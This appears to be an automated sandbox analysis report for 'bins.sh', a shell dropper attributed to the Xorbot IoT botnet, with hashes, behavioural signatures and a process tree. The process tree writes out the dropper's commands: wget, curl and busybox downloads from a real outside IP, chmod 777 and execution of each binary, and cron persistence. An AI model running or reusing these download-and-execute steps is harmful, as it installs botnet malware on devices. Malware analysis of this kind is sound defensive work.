Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04/12/2024, 14:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d179667ead2f245ddba283f8e2fb59ef

  • SHA1

    8654aace077f9788caaf8d949452e5dcf73b6312

  • SHA256

    f379ab849a701f49f2fa39b75b82c5bc77dd368697aef31fdec28919506f60f6

  • SHA512

    c019f5fb06c6b1413fe9e3330ac0423f5bd9186353542aad29c195c17192fd3024fbed593cb199abcedc1d9187efda3b928bcf36cd346a3d9bc87d093500ea38

  • SSDEEP

    192:gVWERGiyF9rl3g6j6d0VJLbgFGiyF9rt6d0d:gUEi77xd

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1465
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1466
        • /usr/bin/wget
          wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:1467
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:1491
        • /bin/chmod
          chmod 777 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • File and Directory Permissions Modification
          PID:1492
        • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          ./olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Executes dropped EXE
          PID:1493
        • /bin/rm
          rm olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
            PID:1495
          • /usr/bin/wget
            wget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Writes file to tmp directory
            PID:1496
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Writes file to tmp directory
            PID:1497
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Writes file to tmp directory
            PID:1498
          • /bin/chmod
            chmod 777 4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • File and Directory Permissions Modification
            PID:1499
          • /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            ./4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
            • Executes dropped EXE
            PID:1500
          • /bin/rm
            rm 4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
            2⤵
              PID:1502
            • /usr/bin/wget
              wget http://216.126.231.240/bins/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
              2⤵
              • Writes file to tmp directory
              PID:1503
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
              2⤵
              • Writes file to tmp directory
              PID:1504
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
              2⤵
              • Writes file to tmp directory
              PID:1505
            • /bin/chmod
              chmod 777 gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
              2⤵
              • File and Directory Permissions Modification
              PID:1506
            • /tmp/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
              ./gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
              2⤵
              • Executes dropped EXE
              PID:1507
            • /bin/rm
              rm gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb
              2⤵
                PID:1509
              • /usr/bin/wget
                wget http://216.126.231.240/bins/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD
                2⤵
                • Writes file to tmp directory
                PID:1510
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD
                2⤵
                • Writes file to tmp directory
                PID:1511
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD
                2⤵
                • Writes file to tmp directory
                PID:1512
              • /bin/chmod
                chmod 777 y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD
                2⤵
                • File and Directory Permissions Modification
                PID:1513
              • /tmp/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD
                ./y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:1514
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:1516
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:1517
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:1518
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:1519
                    • /bin/rm
                      rm y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD
                      2⤵
                        PID:1521
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/kYJNXPrHshBf7YvxnJAkNWBectXHHl4XK8
                        2⤵
                          PID:1524

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/gUklddTcclhntr6t2CxLNNBnNmnVZAzZhb

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/y9GnY5ePH6LEcZMxb1wH8fkfGEMjiIcFMD

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /var/spool/cron/crontabs/tmp.vWeIsk

                              Filesize

                              210B

                              MD5

                              10b49a04e011938a54781ddbbe356557

                              SHA1

                              0f888a41ecfb67056d39a32ca24cc8d3b20d9450

                              SHA256

                              5dddb622a00218dcce4bf844fbea6f4b31122d18a71cb2ad754fc26ff921de26

                              SHA512

                              362f6e4f419289734dd6882ec912e36cc1f01ac82bafe1b4015cd48aad97ee77191486a05a62290ebd48dc32b105cfd6c5e66d08cfecb1595fed47b3eb81ecb0